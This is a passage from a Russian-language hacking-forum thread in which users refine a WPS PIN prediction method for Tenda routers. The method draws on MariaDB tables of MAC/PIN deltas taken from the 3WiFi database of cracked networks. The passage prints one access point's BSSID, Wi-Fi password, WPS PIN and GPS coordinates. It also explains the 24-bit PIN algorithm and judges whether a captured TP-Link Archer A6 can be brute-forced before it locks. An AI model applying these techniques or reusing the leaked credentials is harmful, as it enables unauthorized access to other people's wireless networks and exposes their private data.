| 70 | 2932579 | 1 | 0 | 1 | 0 |
| 71 | 9161126 | 1 | 0 | 1 | 0 |
| 72 | 291430 | 0 | 1 | 1 | 0 |
| 73 | 3875611 | 0 | 1 | 1 | 0 |
| 74 | 939942 | 1 | 0 | 1 | 0 |
| 75 | 5791621 | 1 | 0 | 1 | 0 |
| 76 | 4937831 | 1 | 0 | 1 | 0 |
| 77 | 8160615 | 0 | 1 | 1 | 0 |
| 78 | 2436013 | 0 | 1 | 1 | 0 |
| 79 | 8226663 | 1 | 0 | 1 | 0 |
| 80 | 4938086 | 1 | 0 | 1 | 0 |
| 81 | 1403802 | 0 | 1 | 1 | 0 |
| 82 | 8041355 | 1 | 0 | 1 | 0 |
| 83 | 431107 | 0 | 1 | 1 | 0 |
| 84 | 3878 | 0 | 1 | 1 | 0 |
| 85 | 5159271 | 1 | 0 | 1 | 0 |
| 86 | 7499623 | 1 | 0 | 1 | 0 |
| 87 | 2144745 | 1 | 0 | 1 | 0 |
| 88 | 9372360 | 0 | 1 | 1 | 0 |
| 89 | 9160359 | 0 | 1 | 1 | 0 |
| 90 | 8160870 | 1 | 0 | 1 | 0 |
| 91 | 508221 | 1 | 0 | 1 | 0 |
| 92 | 8204432 | 0 | 1 | 1 | 0 |
| 93 | 291431 | 0 | 1 | 1 | 0 |
| 94 | 5798410 | 1 | 0 | 1 | 0 |
| 95 | 5857156 | 1 | 0 | 1 | 0 |
| 96 | 5922436 | 0 | 1 | 1 | 0 |
| 97 | 9772077 | 0 | 1 | 1 | 0 |
| 98 | 8827290 | 1 | 0 | 1 | 0 |
| 99 | 8269968 | 0 | 1 | 1 | 0 |
| 100 | 4691906 | 0 | 1 | 1 | 0 |
| 101 | 8659397 | 1 | 0 | 1 | 0 |
| 102 | 3922479 | 1 | 0 | 1 | 0 |
| 103 | 9080690 | 0 | 1 | 1 | 0 |
| 104 | 8175226 | 0 | 1 | 1 | 0 |
| 105 | 9403284 | 1 | 0 | 1 | 0 |
| 106 | 8724677 | 0 | 1 | 1 | 0 |
| 107 | 5392161 | 0 | 1 | 1 | 0 |
| 108 | 6003879 | 1 | 0 | 1 | 0 |
| 109 | 5791365 | 0 | 1 | 1 | 0 |
| 110 | 8160359 | 0 | 1 | 1 | 0 |
| 111 | 8291562 | 1 | 0 | 1 | 0 |
| 112 | 3308193 | 1 | 0 | 1 | 0 |
| 113 | 9560243 | 1 | 0 | 1 | 0 |
| 114 | 6068646 | 0 | 1 | 1 | 0 |
| 115 | 277075 | 0 | 1 | 1 | 0 |
| 116 | 9262896 | 1 | 0 | 1 | 0 |
| 117 | 5937574 | 0 | 1 | 1 | 0 |
| 118 | 4794286 | 0 | 1 | 1 | 0 |
| 119 | 7567051 | 1 | 0 | 1 | 0 |
| 120 | 226662 | 1 | 0 | 1 | 0 |
| 121 | 14882 | 1 | 0 | 1 | 0 |
| 122 | 9015138 | 0 | 1 | 1 | 0 |
| 123 | 592183 | 0 | 1 | 1 | 0 |
| 124 | 5068902 | 1 | 0 | 1 | 0 |
| 125 | 8612407 | 1 | 0 | 1 | 0 |
| 126 | 9709283 | 0 | 1 | 1 | 0 |
| 127 | 8109690 | 0 | 1 | 1 | 0 |
| 128 | 2731788 | 1 | 0 | 1 | 0 |
| 129 | 5791620 | 0 | 1 | 1 | 0 |
| 130 | 6552254 | 0 | 1 | 1 | 0 |
+------+---------+------+------+------+------+
130 rows in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs;
+------+------+------+------+------+------+
| n | Half | mUp | mDn | m | X |
+------+------+------+------+------+------+
| 1 | 9226 | 84 | 80 | 164 | 1 |
| 2 | 9160 | 50 | 36 | 86 | 1 |
| 3 | 6003 | 16 | 68 | 84 | 1 |
| 4 | 9291 | 28 | 28 | 56 | 1 |
| 5 | 226 | 26 | 15 | 41 | 1 |
| 6 | 5937 | 6 | 20 | 26 | 1 |
| 7 | 5003 | 13 | 9 | 22 | 1 |
| 8 | 6068 | 4 | 14 | 18 | 1 |
| 9 | 8226 | 6 | 11 | 17 | 1 |
| 10 | 160 | 9 | 6 | 15 | 1 |
| 11 | 291 | 7 | 7 | 14 | 1 |
| 12 | 5938 | 4 | 7 | 11 | 1 |
| 13 | 8160 | 4 | 3 | 7 | 1 |
| 14 | 6069 | 2 | 4 | 6 | 1 |
| 15 | 5069 | 2 | 2 | 4 | 1 |
| 16 | 4937 | 2 | 2 | 4 | 1 |
| 17 | 4938 | 2 | 1 | 3 | 1 |
| 18 | 8291 | 4 | 5 | 9 | 0 |
| 19 | 9225 | 0 | 6 | 6 | 0 |
| 20 | 9292 | 4 | 0 | 4 | 0 |
| 21 | 225 | 0 | 4 | 4 | 0 |
| 22 | 5791 | 1 | 2 | 3 | 0 |
| 23 | 5068 | 1 | 2 | 3 | 0 |
| 24 | 3 | 0 | 1 | 1 | 0 |
| 25 | 9709 | 0 | 1 | 1 | 0 |
| 26 | 9161 | 1 | 0 | 1 | 0 |
| 27 | 2731 | 1 | 0 | 1 | 0 |
| 28 | 8269 | 0 | 1 | 1 | 0 |
| 29 | 277 | 0 | 1 | 1 | 0 |
| 30 | 6552 | 0 | 1 | 1 | 0 |
| 31 | 4691 | 0 | 1 | 1 | 0 |
| 32 | 8827 | 1 | 0 | 1 | 0 |
| 33 | 939 | 1 | 0 | 1 | 0 |
| 34 | 14 | 1 | 0 | 1 | 0 |
| 35 | 9772 | 0 | 1 | 1 | 0 |
| 36 | 2932 | 1 | 0 | 1 | 0 |
| 37 | 7499 | 1 | 0 | 1 | 0 |
| 38 | 5798 | 1 | 0 | 1 | 0 |
| 39 | 9372 | 0 | 1 | 1 | 0 |
| 40 | 4794 | 0 | 1 | 1 | 0 |
| 41 | 9015 | 0 | 1 | 1 | 0 |
| 42 | 1403 | 0 | 1 | 1 | 0 |
| 43 | 8175 | 0 | 1 | 1 | 0 |
| 44 | 3308 | 1 | 0 | 1 | 0 |
| 45 | 8612 | 1 | 0 | 1 | 0 |
| 46 | 431 | 0 | 1 | 1 | 0 |
| 47 | 7567 | 1 | 0 | 1 | 0 |
| 48 | 5857 | 1 | 0 | 1 | 0 |
| 49 | 9403 | 1 | 0 | 1 | 0 |
| 50 | 9080 | 0 | 1 | 1 | 0 |
| 51 | 2144 | 1 | 0 | 1 | 0 |
| 52 | 8204 | 0 | 1 | 1 | 0 |
| 53 | 5159 | 1 | 0 | 1 | 0 |
| 54 | 9262 | 1 | 0 | 1 | 0 |
| 55 | 3875 | 0 | 1 | 1 | 0 |
| 56 | 8659 | 1 | 0 | 1 | 0 |
| 57 | 508 | 1 | 0 | 1 | 0 |
| 58 | 8041 | 1 | 0 | 1 | 0 |
| 59 | 5922 | 0 | 1 | 1 | 0 |
| 60 | 9560 | 1 | 0 | 1 | 0 |
| 61 | 2436 | 0 | 1 | 1 | 0 |
| 62 | 5392 | 0 | 1 | 1 | 0 |
| 63 | 3922 | 1 | 0 | 1 | 0 |
| 64 | 8724 | 0 | 1 | 1 | 0 |
| 65 | 592 | 0 | 1 | 1 | 0 |
| 66 | 8109 | 0 | 1 | 1 | 0 |
+------+------+------+------+------+------+
66 rows in set (0.00 sec)

MariaDB [Tenda]>

Ну, а дальше--дело техники:


9226 150 -
9160 614 -
6003 623 -
9291 + 687 -
9291942 -
9291943 +

Isica
10.06.2020, 06:40
Походу, есть немало аномалий (или это кривые данные?)

Анализ результатов "тренировки на кошках" показал, что примерно 1% устройств с DeltaMAC

4Fun
10.06.2020, 07:29
Вот, навскидку, 04:95:E6:7E:95:48 -- выпадает даже из SolidChain!



Кажется, я нашёл решение этой и подобных проблем. Поскольку мой генератор по возможности использует все опорные точки, которые получены из 3WiFi по маске 11:22:33:44:5*:** в пределах DeltaMAC=4096, я решил добавить в него алгоритм формирования унифицированного списка, который содержит в себе пин-коды, полученные от разных опорных точек и отсортированные по количеству вхождений (первый критерий), сумме их индексов в исходных списках, взятой с отрицательным знаком (второй критерий). Это уже реализовано, но работает пока что только для тех, у кого есть аккаунт 3WiFi.

Для 04:95:E6:7E:95:48 генератор определяет 32 опорные точки. Результаты работы генератора: классический список, унифицированный список (верный пин на первом месте!).

Я готовлю веб-версию своего генератора.



У кого есть база с подробностями (ESSID и пароль)--попробуйте уточнить, что это за зверь.



2019-08-17

BSSID: 04:95:E6:7E:95:48

ESSID: Internet

Password: Saad172508

WPS PIN: 26842592

Широта, долгота: 39.103130 116.0299

Monohrom
10.06.2020, 13:44
Вот, навскидку, 04:95:E6:7E:95:48 -- выпадает даже из SolidChain!



Что вы подразумеваете под "SolidChain фильтрацией" ?

Isica
11.06.2020, 01:16
4Fun

Похоже, Вы чересчур увлеклись идеей многовекторности (наверное, с моей подачи):



Да, суть Вы поняли верно: многовекторный поиск (плюс дополнительные оптимизации).

Причём с увеличением количества векторов, слабые опорные точки будут отсеиваться на лету. Но всё же лучше отсеять их единоразово. И одним из критериев сильной точки можно считать дефолтные BSSID и/или пароль (само-собой, если пин у нее не 24бит).



32 вектора--это, ИМХО, перебор: разумное значение где-то в пределах восьми...

Но важнее другое: когда "на учениях" код оказывается а первом месте, есть серьёзные опасения, что "в бою" он вообще не будет найден.

Это, конечно, не догма, а именно опасения. Но в вашей сводной таблице не видно самого главного: критериев сортировки (нет колонок m и X), так что комментировать мне нечего.

Впрочем, для боевых испытаний, Вам достаточно исключить целевой мак из базы и проверить, будет ли он найден после этого.

PS

Попытка согласовать терминологию:



алгоритм формирования унифицированного списка, который содержит в себе пин-коды, полученные от разных опорных точек и отсортированные по количеству вхождений (первый критерий), сумме их индексов в исходных списках, взятой с отрицательным знаком (второй критерий)



и



3) возвращаемся к нашим опорным точкам (MAC_Up и MAC_Dn) и вычисляем все возможные значения целевого пина как PinUP-DeltaPIN и PinDn+DaltaPIN, вычисленные пины сводим в одну таблицу, группируем и сортируем по убыванию перекрёсности и мажорности;



Скорее всего, мы говорим об одном и том же, только мой вариант более читабелен, Вы не находите?

Предлагаю закрепить следующие термины:

1) "мажорная DeltaPIN" (или просто "мажорная дельта")--DeltaPIN, которая встречается в базе более 1 раза для данного DeltaMAC;

2) "мажорный пин"--пин, вычисленный хотя бы от одной опорной точки по мажорной дельте (mn>1 или m>(X+1));

3) "перекрёстный пин"--пин, значение которого совпало при вычислении от разных опорных точек (столбец X, где 0

Isica
11.06.2020, 01:20
BSSID: 04:95:E6:7E:95:48

ESSID: Internet

Password: Saad172508



Слабоват, как и предполагалось (вполне вероятно, что пин тоже не дефолтный). Я бы пока исключил его из базы.

Isica
11.06.2020, 01:28
Что вы подразумеваете под "SolidChain фильтрацией" ?



Это было в теме (а я лишь запатентовал название метода )

Monohrom
11.06.2020, 01:33
Это было в теме (а я лишь запатентовал название метода )



Это я знал. А ваш термин сбил с толку, заставив думать что вы нашли что-то ещё. Эх

4Fun
11.06.2020, 01:49
Похоже, Вы чересчур увлеклись идеей многовекторности (наверное, с моей подачи):



Я вижу, что чем больше опорных точек, тем ближе к началу унифицированного списка верный пин. Пробовал разные BSSID из 3WiFi, и для тех, к которым находилось 15 и более опорных точек, верный пин-код всегда стоял на первом месте в унифицированном списке, хоть количество пин-кодов в списке было огрромным.

Isica
11.06.2020, 04:21
Я вижу, что чем больше опорных точек, тем ближе к началу унифицированного списка верный пин.



Да, именно такого эффекта я и ожидал.



Пробовал разные BSSID из 3WiFi, и для тех, к которым находилось 15 и более опорных точек, верный пин-код всегда стоял на первом месте в унифицированном списке, хоть количество пин-кодов в списке было огрромным.



Но ведь это всё при "тренировке на кошках", т.е., все искомые пины были в базе, верно?

А исключить из базы тот же 04:95:E6:7E:95:48, а затем попытаться его найти Вы пробовали?

PS

И всё же, можете показать сводную (или, в вашей терминологии, унифицированную) таблицу со всеми m и X?

4Fun
11.06.2020, 04:33
Но ведь это всё при "тренировке на кошках", т.е., все искомые пины были в базе, верно?



В базе 3WiFi, верно. Я согласен с вами. Я уже проверил унифицированный список на нескольких точках не из базы — работает.



А исключить из базы тот же 04:95:E6:7E:95:48, а затем попытаться его найти Вы пробовали?



Т.е. переформировать хэш-таблицу дельт?



И всё же, можете показать сводную (или, в вашей терминологии, унифицированную) таблицу со всеми m и X?



Обязательно покажу, я принял ваши конструктивные замечания и уже дорабатываю генератор, спасибо.

4Fun
11.06.2020, 05:59
Isica (https://forum.antichat.xyz/members/327913/), данные для всё той же 04:95:E6:7E:95:48: классический список (он же без минорных дельт), сводный список (он же без минорных дельт).

Isica
11.06.2020, 13:43
Т.е. переформировать хэш-таблицу дельт?



Если дельты у Вас предвычесленные, то да (мне проще: я их на ходу считаю).

PS

Ну и терминология у Вас "хеш-таблица"? Аж любопытно стало, что же это за "хеши" такие и какова их роль в базе знаний (таблице) дельт?

Isica
14.06.2020, 01:28
Вопрос по алгоритму 24bit-PIN: как вычисляется пин для NIC > 98:96:7F?

PS

Походу, в RS окно "WPS PIN Companion" вообще перестало открываться.

binarymaster
14.06.2020, 02:20
Вопрос по алгоритму 24bit-PIN: как вычисляется пин для NIC > 98:96:7F?



24-bit PIN работает одинаково для всех MAC адресов.



Походу, в RS окно "WPS PIN Companion" вообще перестало открываться.



У меня такой проблемы не наблюдается.

4Fun
14.06.2020, 02:40
Вопрос по алгоритму 24bit-PIN: как вычисляется пин для NIC > 98:96:7F?



На финальном этапе вычисления пин-кода значение делится на 10^7 с взятием остатка, то есть pin = pin % 10^7, что предотвращает превышение длины в 7 символов, если значение больше 10^7

На примере 11:22:33:98:96:85:

https://i.imgur.com/gJfhbd8.png https://i.imgur.com/fNWvOcU.png

Получили пин-код 0000005, с контрольной суммой: 00000055

Isica
14.06.2020, 03:40
<div class="quote">
Походу, в RS окно "WPS PIN Companion" вообще перестало открываться.
</div>


У меня такой проблемы не наблюдается.



Странно:

1) выбираю точку из списка и жму Ctrl+W--тишина;

2) жму W->More->PIN List settings->WPS PIN Companion--тоже тишина.

Или это окно должно появляться только для определённых MAC?

binarymaster
14.06.2020, 08:40
Странно:

1) выбираю точку из списка и жму Ctrl+W--тишина;

2) жму W->More->PIN List settings->WPS PIN Companion--тоже тишина.

Или это окно должно появляться только для определённых MAC?



Повторил оба пункта, всё работает. Пусть кто-нибудь ещё повторит и подтвердит/опровергнет.

Isica
16.06.2020, 01:50
Повторил оба пункта, всё работает. Пусть кто-нибудь ещё повторит и подтвердит/опровергнет.



Может стоит перенести в целевую тему, ибо актуально.

Пробовал более старые билды RS--всё аналогично, хотя раньше работало.

Попыток создать окно не зарегистрировано.

Есть один момент: в виду сбоя штатных видеодров, сейчас активен режим VGA 800x600x32bit (XP SP3).

Nikt0
17.06.2020, 03:08
Странно:

1) выбираю точку из списка и жму Ctrl+W--тишина;

2) жму W->More->PIN List settings->WPS PIN Companion--тоже тишина.

Или это окно должно появляться только для определённых MAC?






Повторил оба пункта, всё работает. Пусть кто-нибудь ещё повторит и подтвердит/опровергнет.



Подтверждаю, работает - окно открывается

Isica
17.06.2020, 05:25
Кто-то может подсказать по этой точке: она брутабельна, или залочится?


Пакет #1, Направление: Транзитные, Время: 04:07:48,951847, Размер: 371
Wireless Packet Info
Signal level: 8%
Signal level in dBm: -90
Noise level in dBm: -95
Rate: 1.0 Mbps
Band: 2.4 GHz
Channel: 5 - 2432 MHz
802.11
Frame Control: 0x0850 (2128)
Protocol version: 0
To DS: 0
From DS: 0
More Fragments: 0
Retry: 1
Power Management: 0
More Data: 0
Protected Frame: 0
Order: 0
Type: 0 - Management
Subtype: 5 - Probe response
Duration: 0x013A (314)
Destination Address: 10:A4:BE:CC:8C:BA
Source Address: CC:32:E5:D7:30:52
BSS ID: CC:32:E5:D7:30:52
Fragment Number: 0x0000 (0)
Sequence Number: 0x016E (366)
Probe response
Timestamp: 2030389.995235 sec
Beacon Interval: 0x0064 (100) - 102.400 msec
Capability Information: 0x0431 (1073)
ESS: 1
IBSS: 0
CF-Pollable: 0
CF-Poll Request: 0
Privacy: 1
Short Preamble: 1
PBCC: 0
Channel Agility: 0
Spectrum management: 0
QoS: 0
Short slot: 1
APSD: 0
Radio Measurement: 0
DSSS-OFDM: 0
Block Ack: 0
Immediate Block Ack: 0
SSID: TP-Link_3052
Supported rates
1 Mbps
2 Mbps
5.5 Mbps
11 Mbps
6 Mbps
9 Mbps
12 Mbps
18 Mbps
Current Channel: 5 - 2432 MHz
ERP Information: 0x00 (0)
Non ERP present: 0
Use Protection: 0
Barker Preamble mode: 0
Extended Supported Rates
24 Mbps
36 Mbps
48 Mbps
54 Mbps
HT Capabilities element
HT Capabilities Info
HT LDPC coding capability: Transmitter does not support receiving LDPC coded packets
HT Support channel width: Transmitter supports 20MHz and 40MHz operation
HT SM Power Save: SM Power Save disabled
HT Green Field: Transmitter is not able to receive PPDUs with Green Field (GF) preamble
HT Short GI for 20MHz: Supported
HT Short GI for 40MHz: Supported
HT Tx STBC: Supported
HT Rx STBC: Rx support of one spatial stream
HT Delayed Block ACK: Transmitter does not support HT-Delayed BlockAck
HT Max A-MSDU length: 3839 bytes
HT DSSS/CCK mode in 40MHz: Will/Can use DSSS/CCK in 40 MHz
HT PSMP Support: Won't/Can't support PSMP operation
HT Forty MHz Intolerant: Use of 40 MHz transmissions unrestricted/allowed
HT L-SIG TXOP Protection support: Not supported
A-MPDU Parameters
Maximum Rx A-MPDU Length: 3 - 65536 bytes
MPDU Density: 8 [usec]
Reserved: 0x0
Rx Supported Modulation and Coding Scheme Set: MCS Set
Rx Modulation and Coding Scheme (One bit per modulation)
Rx Bitmask Bits 0-7: ........................11111111 0xFF
Rx Bitmask Bits 8-15: ................11111111........ 0xFF
Rx Bitmask Bits 16-23: ........11111111................ 0xFF
Rx Bitmask Bits 24-31: 00000000........................ 0x0
Rx Bitmask Bit 32: ...............................0 0x0
Rx Bitmask Bits 33-38: .........................000000. 0x0
Rx Bitmask Bits 39-52: ...........00000000000000....... 0x0
Rx Bitmask Bits 53-76: ....00000000000000000000000..... 0x0
Highest Supported Data Rate: ......0000000000 0x0
Tx Supported MCS Set: .......1 Defined
Tx and Rx MCS Set: ......0. Equal
Tx Maximum Number of Spatial Streams Supported: ....00.. 1 spatial stream
Unequal Modulation: ...0.... Not supported
HT Extended Capabilities: 0x0
Transmitter supports PCO: Not supported
Time needed to transition between 20MHz and 40MHz: No Transition
MCS Feedback capability: STA does not provide MCS feedback
High Throughput: Not supported
Reverse Direction Responder: Not supported
Transmit Beam Forming (TxBF) Capabilities: 0x0
Transmit Beamforming: Not supported
Receive Staggered Sounding: Not supported
Transmit Staggered Sounding: Not supported
Receive Null Data packet (NDP): Not supported
Transmit Null Data packet (NDP): Not supported
Implicit TxBF capable: Not supported
Calibration: incapable
STA can apply TxBF using CSI explicit feedback: Not supported
STA can apply TxBF using uncompressed beamforming feedback matrix: Not supported
STA can apply TxBF using compressed beamforming feedback matrix: Not supported
Receiver can return explicit CSI feedback: not supported
Receiver can return explicit uncompressed Beamforming Feedback Matrix: not supported
STA can compress and use compressed Beamforming Feedback Matrix: not supported
Minimal grouping used for explicit feedback reports: No grouping supported
Max antennae STA can support when CSI feedback required: 1 TX antenna sounding
Max antennae STA can support when uncompressed Beamforming feedback required: 1 TX antenna sounding
Max antennae STA can support when compressed Beamforming feedback required: 1 TX antenna sounding
Maximum number of rows of CSI explicit feedback: 1 row of CSI
Maximum number of space time streams for which channel dimensions can be simultaneously estimated: 1 space time stream
Reserved: 0x0
Antenna Selection (ASEL) Capabilities: 0x0
Antenna Selection Capable: Not supported
Explicit CSI Feedback Based Tx ASEL: Not supported
Antenna Indices Feedback Based Tx ASEL: Not supported
Explicit CSI Feedback: Not supported
Antenna Indices Feedback: Not supported
Rx ASEL: Not supported
Tx Sounding PPDUs: Not supported
Reserved: 0x0
HT Information element
Primary Channel: 5 - 2432 MHz
Secondary Channel Offset: 0x00 (0) - no secondary channel is present
STA Channel Width: 1 - any channel width in the Supported channel width set
RIFS Mode: 1 - use of RIFS is permitted
PSMP STAs Only: 0 - Association requests are accepted regardless of PSMP capability
Service Interval Granularity: 0x00 (0) - 5 ms
Operating Mode of BSS: Only HT STAs in the BSS, however, there exists at least one 20 MHz STA (0x2)
Non-greenfield STAs Present: 1 - one or more associated HT STAs are not greenfield capable
Transmit Burst Limit: No limit
OBSS Non-HT STAs Present: Use of protection for non-HT STAs by overlapping BSSs is not needed
Dual Beacon: No second beacon is transmitted
Dual CTS Protection: Not required
Secondary Beacon: 0 - primary beacon
L-SIG TXOP Protection Full Support: 0 - one or more HT STA in the BSS do not support L-SIG TXOP Protection
PCO Active: Inactive
PCO Phase: 0 - switch to or continue 20 MHz phase
Rx Supported Modulation and Coding Scheme Set: Basic MCS Set
Rx Modulation and Coding Scheme (One bit per modulation)
Rx Bitmask Bits 0-7: ........................00000000 0x0
Rx Bitmask Bits 8-15: ................00000000........ 0x0
Rx Bitmask Bits 16-23: ........00000000................ 0x0
Rx Bitmask Bits 24-31: 00000000........................ 0x0
Rx Bitmask Bit 32: ...............................0 0x0
Rx Bitmask Bits 33-38: .........................000000. 0x0
Rx Bitmask Bits 39-52: ...........00000000000000....... 0x0
Rx Bitmask Bits 53-76: ....00000000000000000000000..... 0x0
Highest Supported Data Rate: ......0000000000 0x0
Tx Supported MCS Set: .......0 Not defined
Tx and Rx MCS Set: ......0. Equal
Tx Maximum Number of Spatial Streams Supported: ....00.. 1 spatial stream
Unequal Modulation: ...0.... Not supported
Overlapping BSS Scan Parameters
Data: 14000a002c01c800140005001900
Extended Capabilities
Tag: Extended Capabilities (0x7F)
Tag length: 8
Extended Capabilities: 1
20/40 BSS Coexistence Management Support: Supported
On-demand beacon: Not Supported
Extended Channel Switching: Not Supported
WAVE indication: Not Supported
PSMP Capability: Not Supported
S-PSMP Support: Not Supported
Vendor specific: MICROSOFT CORP., WME
Tag: Vendor Specific
Length: 24
OUI: MICROSOFT CORP.
OUI Type: 2
Type: 0x02 (Unknown value)
WME Subtype: Parameter Element
WME Version: 1
WME QoS Info: 0x0
U-APSD: Disabled
Reserved: Must Be Zero (0x0)
Parameter Set Count: 0
Reserved: Must Be Zero
Ac Parameters: ACI 0 (Best Effort), ACM No, AIFSN 3, ECWmin 10, ECWmax 4, TXOP 0
ACI / AIFSN Field: 3
Reserved: (0) Must Be Zero
ACI: Best Effort
Admission Control Mandatory: No
AIFSN: 3
ECW: A4
ECW Max: 10
ECW Min: 4
TXOP Limit: 0
Ac Parameters: ACI 1 (Background), ACM No, AIFSN 7, ECWmin 10, ECWmax 4, TXOP 0
ACI / AIFSN Field: 27
Reserved: (0) Must Be Zero
ACI: Background
Admission Control Mandatory: No
AIFSN: 7
ECW: A4
ECW Max: 10
ECW Min: 4
TXOP Limit: 0
Ac Parameters: ACI 2 (Video), ACM No, AIFSN 2, ECWmin 4, ECWmax 3, TXOP 94
ACI / AIFSN Field: 42
Reserved: (0) Must Be Zero
ACI: Video
Admission Control Mandatory: No
AIFSN: 2
ECW: 43
ECW Max: 4
ECW Min: 3
TXOP Limit: 94
Ac Parameters: ACI 3 (Voice), ACM No, AIFSN 2, ECWmin 3, ECWmax 2, TXOP 47
ACI / AIFSN Field: 62
Reserved: (0) Must Be Zero
ACI: Voice
Admission Control Mandatory: No
AIFSN: 2
ECW: 32
ECW Max: 3
ECW Min: 2
TXOP Limit: 47
Vendor specific: Atheros Communications, Inc.
Tag: Vendor Specific
Length: 9
OUI: Atheros Communications, Inc.
OUI Type: 1
Type: Advanced Capability (0x1)
Subtype: 0x0
Version: 0x0
Atheros IE data
Vendor specific: MICROSOFT CORP., WPS
Tag: Vendor Specific
Length: 128
OUI: MICROSOFT CORP.
OUI Type: 4
Type: 0x04 (Unknown value)
TLV: Version, Version: 0x10
Data Element Type: Version (4170)
Data Element Length: 1
Version: 0x10
TLV: Wifi Protected Setup State, RF Bands: Configured (0x2)
Data Element Type: Wifi Protected Setup State (4164)
Data Element Length: 1
RF Bands: Configured (0x2)
TLV: Response Type, Response Type: AP (0x3)
Data Element Type: Response Type (4155)
Data Element Length: 1
Response Type: AP (0x3)
TLV: UUID E, UUID Enrollee
Data Element Type: UUID E (4167)
Data Element Length: 16
UUID Enrollee
TLV: Manufacturer, Manufacturer: TP-Link
Data Element Type: Manufacturer (4129)
Data Element Length: 7
Manufacturer: TP-Link
TLV: Model Name, Model Name: Archer A6
Data Element Type: Model Name (4131)
Data Element Length: 9
Model Name: Archer A6
TLV: Model Number, Model Number: 1.0
Data Element Type: Model Number (4132)
Data Element Length: 3
Model Number: 1.0
TLV: Serial Number, Serial Number: Archer A6 v2
Data Element Type: Serial Number (4162)
Data Element Length: 12
Serial Number: Archer A6 v2
TLV: Primary Device Type, Primary Device Type: 0x60050F2040001
Data Element Type: Primary Device Type (4180)
Data Element Length: 8
Primary Device Type: 0x60050F2040001
TLV: Device Name, Device Name: ArcherA6v2
Data Element Type: Device Name (4113)
Data Element Length: 10
Device Name: ArcherA6v2
TLV: Config Methods, Configuration Methods: 0x4
Data Element Type: Config Methods (4104)
Data Element Length: 2
Configuration Methods: 0x4
USB: False
Ethernet: False
Label: False
Display: False
External NFC: False
Internal NFC: False
NFC Interface: False
Push Button: False
Keypad: False
Virtual Push Button: False
Physical Push Button: False
Virtual Display: True
Physical Display: False
TLV: Vendor Extension, Vendor Extension
Data Element Type: Vendor Extension (4169)
Data Element Length: 6
Vendor Extension
RSN Information Element (WPA)
Version: 0x0001 (1)
Group Key Cipher Suite: 00 50 F2 02 - TKIP
Pairwise Key Cipher Suite Count: 0x0002 (2)
Pairwise Key Cipher Suite List
Cipher: 00 50 F2 04 - CCMP
Cipher: 00 50 F2 02 - TKIP
Authenticated Key Management Suite Count: 0x0001 (1)
Authenticated Key Management Suite List
Key Management: 00 50 F2 02 - IEEE 802.1X Key Management, preshared key
RSN Information Element (802.11i)
Version: 0x0001 (1)
Group Key Cipher Suite: 00 0F AC 02 - TKIP
Pairwise Key Cipher Suite Count: 0x0002 (2)
Pairwise Key Cipher Suite List
Cipher: 00 0F AC 04 - CCMP
Cipher: 00 0F AC 02 - TKIP
Authenticated Key Management Suite Count: 0x0001 (1)
Authenticated Key Management Suite List
Key Management: 00 0F AC 02 - IEEE 802.1X Key Management, preshared key
RSN Capabilities: 0x0000 (0)
Pre-Auth: Transmitter does not support pre-authentication
No Pairwize: Transmitter can support WEP default key 0 simultaneously with Pairwise key
PTKSA: 1 replay counter per PTKSA/GTKSA/STAKeySA
GTKSA: 1 replay counter per PTKSA/GTKSA/STAKeySA
Protection Required: False
Protection Capable: False
PeerKey enabled: False
Данные:
0x0000 50 08 3A 01 10 A4 BE CC-8C BA CC 32 E5 D7 30 52 P.:..¤ѕМЊєМ2еЧ0R
0x0010 CC 32 E5 D7 30 52 E0 16-E3 A6 AC BC D8 01 00 00 М2еЧ0Rа.㦬јШ...
0x0020 64 00 31 04 00 0C 54 50-2D 4C 69 6E 6B 5F 33 30 d.1...TP-Link_30
0x0030 35 32 01 08 82 84 8B 96-0C 12 18 24 03 01 05 2A 52..‚„‹–...$...*
0x0040 01 00 32 04 30 48 60 6C-2D 1A EE 11 1B FF FF FF ..2.0H`l-.о..яяя
0x0050 00 00 00 00 00 00 00 00-00 01 00 00 00 00 00 00 ................
0x0060 00 00 00 00 3D 16 05 0C-06 00 00 00 00 00 00 00 ....=...........
0x0070 00 00 00 00 00 00 00 00-00 00 00 00 4A 0E 14 00 ............J...
0x0080 0A 00 2C 01 C8 00 14 00-05 00 19 00 7F 08 01 00 ..,.И..........
0x0090 00 00 00 00 00 40 DD 18-00 50 F2 02 01 01 00 00 .....@Э..Pт.....
0x00A0 03 A4 00 00 27 A4 00 00-42 43 5E 00 62 32 2F 00 .¤..'¤..BC^.b2/.
0x00B0 DD 09 00 03 7F 01 01 00-00 FF 7F DD 80 00 50 F2 Э.......яЭЂ.Pт
0x00C0 04 10 4A 00 01 10 10 44-00 01 02 10 3B 00 01 03 ..J....D....;...
0x00D0 10 47 00 10 87 65 43 21-9A BC DE F0 12 34 CC 32 .G..‡eC!љјЮр.4М2
0x00E0 E5 D7 30 52 10 21 00 07-54 50 2D 4C 69 6E 6B 10 еЧ0R.!..TP-Link.
0x00F0 23 00 09 41 72 63 68 65-72 20 41 36 10 24 00 03 #..Archer A6.$..
0x0100 31 2E 30 10 42 00 0C 41-72 63 68 65 72 20 41 36 1.0.B..Archer A6
0x0110 20 76 32 10 54 00 08 00-06 00 50 F2 04 00 01 10 v2.T.....Pт....
0x0120 11 00 0A 41 72 63 68 65-72 41 36 76 32 10 08 00 ...ArcherA6v2...
0x0130 02 00 04 10 49 00 06 00-37 2A 00 01 20 DD 1A 00 ....I...7*.. Э..
0x0140 50 F2 01 01 00 00 50 F2-02 02 00 00 50 F2 04 00 Pт....Pт....Pт..
0x0150 50 F2 02 01 00 00 50 F2-02 30 18 01 00 00 0F AC Pт....Pт.0.....¬
0x0160 02 02 00 00 0F AC 04 00-0F AC 02 01 00 00 0F AC .....¬...¬.....¬
0x0170 02 00 00 ...

4Fun
17.06.2020, 11:55
Кто-то может подсказать по этой точке: она брутабельна, или залочится?



Судя по дате выпуска (21 марта 2019 г.) и по программному обеспечению (TP-Link LuCI), заблокируется после 10 попыток.

Isica
26.06.2020, 10:57
4. Видно что после переполнения генератор начинает отчёт с нуля, почему?



Любопытно: где это видно, и что представляют из себя переполнение и ноль?



6.Почему на больших DeltaMAC повторов DeltaPIN всё меньше и меньше?



Я ту вижу два фактора:

1) накопление различных флуктаций и более регулярное их проявление (очень важным, если не главным источником флуктаций является алгоритм избегания недопустимого диапазона PIN select tenda_pin_explore(null,8);
*************************** 1. row ***************************
tenda_pin_explore(null,8):
----------------------------------
обработано 5760 пар,
найдено 117 уникальных дельт (1:49.2),
из них 44 мажорных (вес 98.73%)
1 row in set (0.89 sec)

MariaDB [Tenda]> select tenda_pin_explore(null,80);
*************************** 1. row ***************************
